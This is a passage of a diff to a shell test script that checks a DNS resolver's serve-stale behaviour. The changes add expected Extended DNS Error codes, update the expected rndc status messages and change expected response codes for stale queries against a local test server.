 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (resolver failure)" dig.out.test$n > /dev/null || ret=1
 grep "othertype\.example\..*4.*IN.*CAA.*0.*issue" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check stale nodata.example ($n)"
+echo_i "check stale nodata.example TXT ($n)"
 ret=0
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (resolver failure)" dig.out.test$n > /dev/null || ret=1
 grep "example\..*4.*IN.*SOA" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check stale nxdomain.example ($n)"
+echo_i "check stale nxdomain.example TXT ($n)"
 ret=0
-grep "status: NXDOMAIN" dig.out.test$n > /dev/null || ret=1
+grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
-grep "example\..*4.*IN.*SOA" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -188,7 +195,6 @@ grep "1 TXT" ns1/named.stats.$n.cachedb > /dev/null || ret=1
 grep "1 #Others" ns1/named.stats.$n.cachedb > /dev/null || ret=1
 grep "1 #TXT" ns1/named.stats.$n.cachedb > /dev/null || ret=1
 grep "1 #!TXT" ns1/named.stats.$n.cachedb > /dev/null || ret=1
-grep "1 #NXDOMAIN" ns1/named.stats.$n.cachedb > /dev/null || ret=1
 status=$((status+ret))
 if [ $ret != 0 ]; then echo_i "failed"; fi
 
@@ -202,12 +208,12 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 # 6. Enable responses from authoritative server.
 # 7. Query data.example
 # 8. Check if response come from stale rrset, since the query
-#    is within stale-refresh-time window.
+#    is still within stale-refresh-time window.
 n=$((n+1))
 echo_i "check 'rndc serve-stale status' ($n)"
 ret=0
 $RNDCCMD 10.53.0.1 serve-stale status > rndc.out.test$n 2>&1 || ret=1
-grep '_default: on (stale-answer-ttl=4 max-stale-ttl=3600 stale-refresh-time=30)' rndc.out.test$n > /dev/null || ret=1
+grep '_default: stale cache enabled; stale answers enabled (stale-answer-ttl=4 max-stale-ttl=3600 stale-refresh-time=30)' rndc.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -219,9 +225,10 @@ echo_i "sending query for test ($n)"
 $DIG -p ${PORT} @10.53.0.1 data.example TXT > dig.out.test$n
 
 # Step 5.
-echo_i "check stale data.example (stale-refresh-time) ($n)"
+echo_i "check stale data.example TXT (stale-refresh-time) ($n)"
 ret=0
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (query within stale refresh time window)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "data\.example\..*4.*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
@@ -243,9 +250,10 @@ $DIG -p ${PORT} @10.53.0.1 data.example TXT > dig.out.test$((n+1))
 
 # Step 8.
 n=$((n+1))
-echo_i "check stale data.example comes from cache (stale-refresh-time) ($n)"
+echo_i "check stale data.example TXT comes from cache (stale-refresh-time) ($n)"
 ret=0
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (query within stale refresh time window)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "data\.example\..*4.*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
@@ -254,6 +262,29 @@ status=$((status+ret))
 #
 # Test disabling serve-stale via rndc.
 #
+
+n=$((n+1))
+echo_i "updating ns1/named.conf ($n)"
+ret=0
+copy_setports ns1/named2.conf.in ns1/named.conf
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "running 'rndc reload' ($n)"
+ret=0
+rndc_reload ns1 10.53.0.1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "check 'rndc serve-stale status' ($n)"
+ret=0
+$RNDCCMD 10.53.0.1 serve-stale status > rndc.out.test$n 2>&1 || ret=1
+grep '_default: stale cache enabled; stale answers enabled (stale-answer-ttl=4 max-stale-ttl=3600 stale-refresh-time=0)' rndc.out.test$n > /dev/null || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
 n=$((n+1))
 echo_i "disable responses from authoritative server ($n)"
 ret=0
@@ -274,7 +305,7 @@ n=$((n+1))
 echo_i "check 'rndc serve-stale status' ($n)"
 ret=0
 $RNDCCMD 10.53.0.1 serve-stale status > rndc.out.test$n 2>&1 || ret=1
-grep '_default: off (rndc) (stale-answer-ttl=4 max-stale-ttl=3600 stale-refresh-time=30)' rndc.out.test$n > /dev/null || ret=1
+grep '_default: stale cache enabled; stale answers disabled (stale-answer-ttl=4 max-stale-ttl=3600 stale-refresh-time=0)' rndc.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -282,35 +313,39 @@ echo_i "sending queries for tests $((n+1))-$((n+4))..."
 $DIG -p ${PORT} @10.53.0.1 data.example TXT > dig.out.test$((n+1)) &
 $DIG -p ${PORT} @10.53.0.1 othertype.example CAA > dig.out.test$((n+2)) &
 $DIG -p ${PORT} @10.53.0.1 nodata.example TXT > dig.out.test$((n+3)) &
-$DIG -p ${PORT} @10.53.0.1 nxdomain.example TXT > dig.out.test$((n+4))
+$DIG -p ${PORT} @10.53.0.1 nxdomain.example TXT > dig.out.test$((n+4)) &
 
 wait
 
 n=$((n+1))
-echo_i "check stale data.example (serve-stale off) ($n)"
+echo_i "check stale data.example TXT (serve-stale off) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check stale othertype.example (serve-stale off) ($n)"
+echo_i "check stale othertype.example CAA (serve-stale off) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check stale nodata.example (serve-stale off) ($n)"
+echo_i "check stale nodata.example TXT (serve-stale off) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check stale nxdomain.example (serve-stale off) ($n)"
+echo_i "check stale nxdomain.example TXT (serve-stale off) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -328,7 +363,7 @@ n=$((n+1))
 echo_i "check 'rndc serve-stale status' ($n)"
 ret=0
 $RNDCCMD 10.53.0.1 serve-stale status > rndc.out.test$n 2>&1 || ret=1
-grep '_default: on (rndc) (stale-answer-ttl=4 max-stale-ttl=3600 stale-refresh-time=30)' rndc.out.test$n > /dev/null || ret=1
+grep '_default: stale cache enabled; stale answers enabled (stale-answer-ttl=4 max-stale-ttl=3600 stale-refresh-time=0)' rndc.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -336,43 +371,45 @@ echo_i "sending queries for tests $((n+1))-$((n+4))..."
 $DIG -p ${PORT} @10.53.0.1 data.example TXT > dig.out.test$((n+1)) &
 $DIG -p ${PORT} @10.53.0.1 othertype.example CAA > dig.out.test$((n+2)) &
 $DIG -p ${PORT} @10.53.0.1 nodata.example TXT > dig.out.test$((n+3)) &
-$DIG -p ${PORT} @10.53.0.1 nxdomain.example TXT > dig.out.test$((n+4))
+$DIG -p ${PORT} @10.53.0.1 nxdomain.example TXT > dig.out.test$((n+4)) &
 
 wait
 
 n=$((n+1))
-echo_i "check stale data.example (serve-stale on) ($n)"
+echo_i "check stale data.example TXT (serve-stale on) ($n)"
 ret=0
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (resolver failure)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "data\.example\..*4.*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check stale othertype.example (serve-stale on) ($n)"
+echo_i "check stale othertype.example CAA (serve-stale on) ($n)"
 ret=0
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (resolver failure)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "othertype\.example\..*4.*IN.*CAA.*0.*issue" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check stale nodata.example (serve-stale on) ($n)"
+echo_i "check stale nodata.example TXT (serve-stale on) ($n)"
 ret=0
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (resolver failure)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
 grep "example\..*4.*IN.*SOA" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check stale nxdomain.example (serve-stale on) ($n)"
+echo_i "check stale nxdomain.example TXT (serve-stale on) ($n)"
 ret=0
-grep "status: NXDOMAIN" dig.out.test$n > /dev/null || ret=1
+grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
-grep "example\..*4.*IN.*SOA" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -394,7 +431,7 @@ n=$((n+1))
 echo_i "check 'rndc serve-stale status' ($n)"
 ret=0
 $RNDCCMD 10.53.0.1 serve-stale status > rndc.out.test$n 2>&1 || ret=1
-grep '_default: on (stale-answer-ttl=4 max-stale-ttl=3600 stale-refresh-time=30)' rndc.out.test$n > /dev/null || ret=1
+grep '_default: stale cache enabled; stale answers enabled (stale-answer-ttl=4 max-stale-ttl=3600 stale-refresh-time=0)' rndc.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -402,43 +439,45 @@ echo_i "sending queries for tests $((n+1))-$((n+4))..."
 $DIG -p ${PORT} @10.53.0.1 data.example TXT > dig.out.test$((n+1)) &
 $DIG -p ${PORT} @10.53.0.1 othertype.example CAA > dig.out.test$((n+2)) &
 $DIG -p ${PORT} @10.53.0.1 nodata.example TXT > dig.out.test$((n+3)) &
-$DIG -p ${PORT} @10.53.0.1 nxdomain.example TXT > dig.out.test$((n+4))
+$DIG -p ${PORT} @10.53.0.1 nxdomain.example TXT > dig.out.test$((n+4)) &
 
 wait
 
 n=$((n+1))
-echo_i "check stale data.example (serve-stale reset) ($n)"
+echo_i "check stale data.example TXT (serve-stale reset) ($n)"
 ret=0
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (resolver failure)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "data\.example\..*4.*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check stale othertype.example (serve-stale reset) ($n)"
+echo_i "check stale othertype.example CAA (serve-stale reset) ($n)"
 ret=0
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (resolver failure)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "othertype.example\..*4.*IN.*CAA.*0.*issue" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check stale nodata.example (serve-stale reset) ($n)"
+echo_i "check stale nodata.example TXT (serve-stale reset) ($n)"
 ret=0
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (resolver failure)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
 grep "example\..*4.*IN.*SOA" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check stale nxdomain.example (serve-stale reset) ($n)"
+echo_i "check stale nxdomain.example TXT (serve-stale reset) ($n)"
 ret=0
-grep "status: NXDOMAIN" dig.out.test$n > /dev/null || ret=1
+grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
-grep "example\..*4.*IN.*SOA" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -453,7 +492,7 @@ n=$((n+1))
 echo_i "check 'rndc serve-stale status' ($n)"
 ret=0
 $RNDCCMD 10.53.0.1 serve-stale status > rndc.out.test$n 2>&1 || ret=1
-grep '_default: off (rndc) (stale-answer-ttl=4 max-stale-ttl=3600 stale-refresh-time=30)' rndc.out.test$n > /dev/null || ret=1
+grep '_default: stale cache enabled; stale answers disabled (stale-answer-ttl=4 max-stale-ttl=3600 stale-refresh-time=0)' rndc.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -466,7 +505,7 @@ echo_i "test server with serve-stale options set, low max-stale-ttl"
 n=$((n+1))
 echo_i "updating ns1/named.conf ($n)"
 ret=0
-copy_setports ns1/named2.conf.in ns1/named.conf
+copy_setports ns1/named3.conf.in ns1/named.conf
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -481,7 +520,7 @@ n=$((n+1))
 echo_i "check 'rndc serve-stale status' ($n)"
 ret=0
 $RNDCCMD 10.53.0.1 serve-stale status > rndc.out.test$n 2>&1 || ret=1
-grep '_default: off (rndc) (stale-answer-ttl=3 max-stale-ttl=20 stale-refresh-time=30)' rndc.out.test$n > /dev/null || ret=1
+grep '_default: stale cache enabled; stale answers disabled (stale-answer-ttl=3 max-stale-ttl=20 stale-refresh-time=30)' rndc.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -500,7 +539,7 @@ n=$((n+1))
 echo_i "check 'rndc serve-stale status' ($n)"
 ret=0
 $RNDCCMD 10.53.0.1 serve-stale status > rndc.out.test$n 2>&1 || ret=1
-grep '_default: on (rndc) (stale-answer-ttl=3 max-stale-ttl=20 stale-refresh-time=30)' rndc.out.test$n > /dev/null || ret=1
+grep '_default: stale cache enabled; stale answers enabled (stale-answer-ttl=3 max-stale-ttl=20 stale-refresh-time=30)' rndc.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -514,7 +553,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache longttl.example (low max-stale-ttl) ($n)"
+echo_i "prime cache longttl.example TXT (low max-stale-ttl) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.1 longttl.example TXT > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -523,7 +562,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache data.example (low max-stale-ttl) ($n)"
+echo_i "prime cache data.example TXT (low max-stale-ttl) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.1 data.example TXT > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -532,7 +571,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache othertype.example (low max-stale-ttl) ($n)"
+echo_i "prime cache othertype.example CAA (low max-stale-ttl) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.1 othertype.example CAA > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -541,7 +580,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache nodata.example (low max-stale-ttl) ($n)"
+echo_i "prime cache nodata.example TXT (low max-stale-ttl) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.1 nodata.example TXT > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -550,7 +589,7 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "prime cache nxdomain.example (low max-stale-ttl) ($n)"
+echo_i "prime cache nxdomain.example TXT (low max-stale-ttl) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.1 nxdomain.example TXT > dig.out.test$n
 grep "status: NXDOMAIN" dig.out.test$n > /dev/null || ret=1
@@ -560,7 +599,7 @@ status=$((status+ret))
 
 # Keep track of time so we can access these RRset later, when we expect them
 # to become ancient.
-t1=`$PERL -e 'print time()'`
+t1=$($PERL -e 'print time()')
 
 n=$((n+1))
 echo_i "verify prime cache statistics (low max-stale-ttl) ($n)"
@@ -594,43 +633,45 @@ echo_i "sending queries for tests $((n+1))-$((n+4))..."
 $DIG -p ${PORT} @10.53.0.1 data.example TXT > dig.out.test$((n+1)) &
 $DIG -p ${PORT} @10.53.0.1 othertype.example CAA > dig.out.test$((n+2)) &
 $DIG -p ${PORT} @10.53.0.1 nodata.example TXT > dig.out.test$((n+3)) &
-$DIG -p ${PORT} @10.53.0.1 nxdomain.example TXT > dig.out.test$((n+4))
+$DIG -p ${PORT} @10.53.0.1 nxdomain.example TXT > dig.out.test$((n+4)) &
 
 wait
 
 n=$((n+1))
-echo_i "check stale data.example (low max-stale-ttl) ($n)"
+echo_i "check stale data.example TXT (low max-stale-ttl) ($n)"
 ret=0
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (resolver failure)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "data\.example\..*3.*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check stale othertype.example (low max-stale-ttl) ($n)"
+echo_i "check stale othertype.example CAA (low max-stale-ttl) ($n)"
 ret=0
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (resolver failure)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "othertype\.example\..*3.*IN.*CAA.*0.*issue" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check stale nodata.example (low max-stale-ttl) ($n)"
+echo_i "check stale nodata.example TXT (low max-stale-ttl) ($n)"
 ret=0
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (resolver failure)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
 grep "example\..*3.*IN.*SOA" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check stale nxdomain.example (low max-stale-ttl) ($n)"
+echo_i "check stale nxdomain.example TXT (low max-stale-ttl) ($n)"
 ret=0
-grep "status: NXDOMAIN" dig.out.test$n > /dev/null || ret=1
+grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
-grep "example\..*3.*IN.*SOA" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -649,17 +690,16 @@ grep "1 TXT" ns1/named.stats.$n.cachedb > /dev/null || ret=1
 grep "1 #TXT" ns1/named.stats.$n.cachedb > /dev/null || ret=1
 grep "1 #Others" ns1/named.stats.$n.cachedb > /dev/null || ret=1
 grep "1 #!TXT" ns1/named.stats.$n.cachedb > /dev/null || ret=1
-grep "1 #NXDOMAIN" ns1/named.stats.$n.cachedb > /dev/null || ret=1
 
 status=$((status+ret))
 if [ $ret != 0 ]; then echo_i "failed"; fi
 
 # Retrieve max-stale-ttl value.
-interval_to_ancient=`grep 'max-stale-ttl' ns1/named2.conf.in  | awk '{ print $2 }' | tr -d ';'`
+interval_to_ancient=$(grep 'max-stale-ttl' ns1/named3.conf.in  | awk '{ print $2 }' | tr -d ';')
 # We add 2 seconds to it since this is the ttl value of the records being
 # tested.
 interval_to_ancient=$((interval_to_ancient + 2))
-t2=`$PERL -e 'print time()'`
+t2=$($PERL -e 'print time()')
 elapsed=$((t2 - t1))
 
 # If elapsed time so far is less than max-stale-ttl + 2 seconds, then we sleep
@@ -672,38 +712,42 @@ echo_i "sending queries for tests $((n+1))-$((n+4))..."
 $DIG -p ${PORT} @10.53.0.1 data.example TXT > dig.out.test$((n+1)) &
 $DIG -p ${PORT} @10.53.0.1 othertype.example CAA > dig.out.test$((n+2)) &
 $DIG -p ${PORT} @10.53.0.1 nodata.example TXT > dig.out.test$((n+3)) &
-$DIG -p ${PORT} @10.53.0.1 nxdomain.example TXT > dig.out.test$((n+4))
+$DIG -p ${PORT} @10.53.0.1 nxdomain.example TXT > dig.out.test$((n+4)) &
 
 wait
 
 n=$((n+1))
-echo_i "check ancient data.example (low max-stale-ttl) ($n)"
+echo_i "check ancient data.example TXT (low max-stale-ttl) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check ancient othertype.example (low max-stale-ttl) ($n)"
+echo_i "check ancient othertype.example CAA (low max-stale-ttl) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check ancient nodata.example (low max-stale-ttl) ($n)"
+echo_i "check ancient nodata.example TXT (low max-stale-ttl) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "check ancient nxdomain.example (low max-stale-ttl) ($n)"
+echo_i "check ancient nxdomain.example TXT (low max-stale-ttl) ($n)"
 ret=0
 grep "status: SERVFAIL" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 grep "ANSWER: 0," dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -733,13 +777,13 @@ n=$((n+1))
 echo_i "check 'rndc serve-stale status' ($n)"
 ret=0
 $RNDCCMD 10.53.0.1 serve-stale status > rndc.out.test$n 2>&1 || ret=1
-grep '_default: on (rndc) (stale-answer-ttl=3 max-stale-ttl=20 stale-refresh-time=30)' rndc.out.test$n > /dev/null || ret=1
+grep '_default: stale cache enabled; stale answers enabled (stale-answer-ttl=3 max-stale-ttl=20 stale-refresh-time=30)' rndc.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 # Step 1.
 n=$((n+1))
-echo_i "prime cache data.example (stale-refresh-time rndc) ($n)"
+echo_i "prime cache data.example TXT (stale-refresh-time rndc) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.1 data.example TXT > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
@@ -767,9 +811,10 @@ echo_i "sending query for test ($n)"
 $DIG -p ${PORT} @10.53.0.1 data.example TXT > dig.out.test$n
 
 # Step 5.
-echo_i "check stale data.example (stale-refresh-time rndc) ($n)"
+echo_i "check stale data.example TXT (stale-refresh-time rndc) ($n)"
 ret=0
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (resolver failure)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "data\.example\..*3.*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
@@ -791,9 +836,10 @@ $DIG -p ${PORT} @10.53.0.1 data.example TXT > dig.out.test$((n+1))
 
 # Step 8.
 n=$((n+1))
-echo_i "check stale data.example comes from cache (stale-refresh-time rndc) ($n)"
+echo_i "check stale data.example TXT comes from cache (stale-refresh-time rndc) ($n)"
 ret=0
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (query within stale refresh time window)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "data\.example\..*3.*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
@@ -812,7 +858,7 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "updating ns1/named.conf ($n)"
 ret=0
-copy_setports ns1/named3.conf.in ns1/named.conf
+copy_setports ns1/named4.conf.in ns1/named.conf
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -827,7 +873,7 @@ n=$((n+1))
 echo_i "check 'rndc serve-stale status' ($n)"
 ret=0
 $RNDCCMD 10.53.0.1 serve-stale status > rndc.out.test$n 2>&1 || ret=1
-grep '_default: on (rndc) (stale-answer-ttl=3 max-stale-ttl=20 stale-refresh-time=0)' rndc.out.test$n > /dev/null || ret=1
+grep '_default: stale cache enabled; stale answers enabled (stale-answer-ttl=3 max-stale-ttl=20 stale-refresh-time=0)' rndc.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -843,10 +889,11 @@ status=$((status+ret))
 
 # Step 1.
 n=$((n+1))
-echo_i "prime cache data.example (stale-refresh-time disabled) ($n)"
+echo_i "prime cache data.example TXT (stale-refresh-time disabled) ($n)"
 ret=0
 $DIG -p ${PORT} @10.53.0.1 data.example TXT > dig.out.test$n
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "data\.example\..*2.*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
@@ -871,9 +918,10 @@ echo_i "sending query for test ($n)"
 $DIG -p ${PORT} @10.53.0.1 data.example TXT > dig.out.test$n
 
 # Step 5.
-echo_i "check stale data.example (stale-refresh-time disabled) ($n)"
+echo_i "check stale data.example TXT (stale-refresh-time disabled) ($n)"
 ret=0
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE: 3 (Stale Answer): (resolver failure)" dig.out.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
 grep "data\.example\..*3.*IN.*TXT.*A text record with a 2 second ttl" dig.out.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
@@ -895,9 +943,10 @@ $DIG -p ${PORT} @10.53.0.1 data.example TXT > dig.out.test$((n+1))
 
 # Step 8.
 n=$((n+1))
-echo_i "check data.example comes from authoritative (stale-refresh-time disabled) ($n)"
+echo_i "check data.example TXT comes from authoritative (stale-refresh-time disabled) ($n)"
 ret=0
 grep "status: NOERROR" dig.out.test$n > /dev/null || ret=1
+grep "EDE" dig.out.test$n > /dev/null && ret=1
 grep "ANSWER: 1," dig.out.test$n > /dev/null || ret=1
